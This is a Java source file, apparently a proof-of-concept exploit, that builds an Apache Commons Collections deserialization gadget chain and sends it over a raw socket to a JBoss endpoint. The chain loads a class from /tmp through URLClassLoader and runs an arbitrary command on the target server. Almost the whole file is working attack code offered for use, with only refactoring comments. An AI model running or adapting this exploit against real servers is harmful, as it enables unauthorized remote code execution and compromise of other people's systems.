package com.gitee.voidbyte.pocs;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


public class JbossPoc {
    
    public static void sendPayload(String url, byte[] payload) throws Exception {
        
        URL urlObj = new URL(url);
        String host = urlObj.getHost();
        //String schema = urlObj.getProtocol();
        int port = urlObj.getPort();

        // 4. 使用StringBuilder替代StringBuffer（单线程环境）
        String hostHeader = host + ":" + port;
        StringBuilder headers = new StringBuilder();
        headers.append("POST ").append(urlObj.getPath()).append(" HTTP/1.1\r\n");
        headers.append("Host: ").append(hostHeader).append("\r\n");
        headers.append("Content-Length: ").append(payload.length).append("\r\n");
        headers.append("User-Agent: Mozilla/5.0 (兼容)\r\n"); // 更新User-Agent
        headers.append("Content-Type: application/x-www-form-urlencoded\r\n");
        headers.append("Connection: close\r\n"); // 明确关闭连接
        headers.append("\r\n");

        // 5. 使用明确字符编码
        byte[] headerBytes = headers.toString().getBytes(StandardCharsets.UTF_8);

        try (Socket socket = new Socket(host, port)) {

            OutputStream output = socket.getOutputStream();
            //InputStream input = socket.getInputStream();
            socket.setSoTimeout(10000);

            // 7. 优化数据发送方式（避免创建大数组）
            output.write(headerBytes);
            output.write(payload);
            output.flush();

        }

        // 8. 更高效的响应读取方式
        //String response = new String(input.readAllBytes(), StandardCharsets.ISO_8859_1);
    }

    private static byte[] serializePayload(Transformer transformerChain) throws Exception {
        Map<?,?> map = buildExploitMap(transformerChain);
        return serializeObject(map);
    }

    private static Map<?,?> buildExploitMap(Transformer transformerChain) throws Exception {

        Map<Object, Object> map1 = new HashMap<>();
        @SuppressWarnings("unchecked")
        Map<Object, Object> lazyMap = LazyMap.decorate(map1, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        
        HashSet<Object> set = new HashSet<>(1);
        set.add("foo");
        
        modifyHashSetEntry(set, entry);
        return map1;
    }

    private static void modifyHashSetEntry(HashSet<?> set, TiedMapEntry entry) throws Exception {
        // 反射修改HashSet内部结构的通用方法
        Field mapField = getAccessibleField(HashSet.class, "map", "backingMap");
        HashMap<?,?> innimpl = (HashMap<?,?>) mapField.get(set);

        Field tableField = getAccessibleField(HashMap.class, "table", "elementData");
        Object[] array = (Object[]) tableField.get(innimpl);

        Object node = array[0] != null ? array[0] : array[1];

        Field keyField = getAccessibleField(node.getClass(), "key", "java.util.MapEntry");
        keyField.set(node, entry);
    }

    private static Field getAccessibleField(Class<?> clazz, String... possibleNames) 
        throws NoSuchFieldException, ClassNotFoundException {
        for (String name : possibleNames) {
            try {
                Field f = clazz.getDeclaredField(name);
                f.setAccessible(true);
                return f;
            } catch (NoSuchFieldException e) {
                // 尝试下一个可能的字段名
            }
        }
        throw new NoSuchFieldException("None of the fields found: " + Arrays.toString(possibleNames));
    }

    private static byte[] serializeObject(Object obj) throws IOException {
        try (ByteArrayOutputStream bos = new ByteArrayOutputStream();
             ObjectOutputStream oos = new ObjectOutputStream(bos)) {
            oos.writeObject(obj);
            return bos.toByteArray();
        }
    }

    public static byte[] genPayload(String cmd) throws Exception {

        String ClassPath = "file:/tmp/";
        Transformer[] transformers = {
            new ConstantTransformer(URLClassLoader.class),
            new InvokerTransformer("getConstructor",
                new Class[] {
                    Class[].class
                }, new Object[] {
                    new Class[] {
                        java.net.URL[].class
                    }
                }
            ),
            new InvokerTransformer(
                "newInstance",
                new Class[] {
                    Object[].class
                }, new Object[] {
                    new Object[] {
                        new java.net.URL[] {
                            new java.net.URL(ClassPath)
                        }
                    }
                }
            ),
            new InvokerTransformer("loadClass",
                new Class[] {
                    String.class
                }, new Object[] {
                    "RunCheckConfig"
                }
            ),
            new InvokerTransformer("getConstructor",
                new Class[] {
                    Class[].class
                },
                new Object[] {
                    new Class[] {
                        String.class
                    }
                }
            ),
            new InvokerTransformer("newInstance",
                new Class[] {
                    Object[].class
                },
                new Object[] {
                    new String[] {
                        cmd
                    }
                }
            )
        }; //执行 带回

        return serializePayload(new ChainedTransformer(transformers));
    }
}


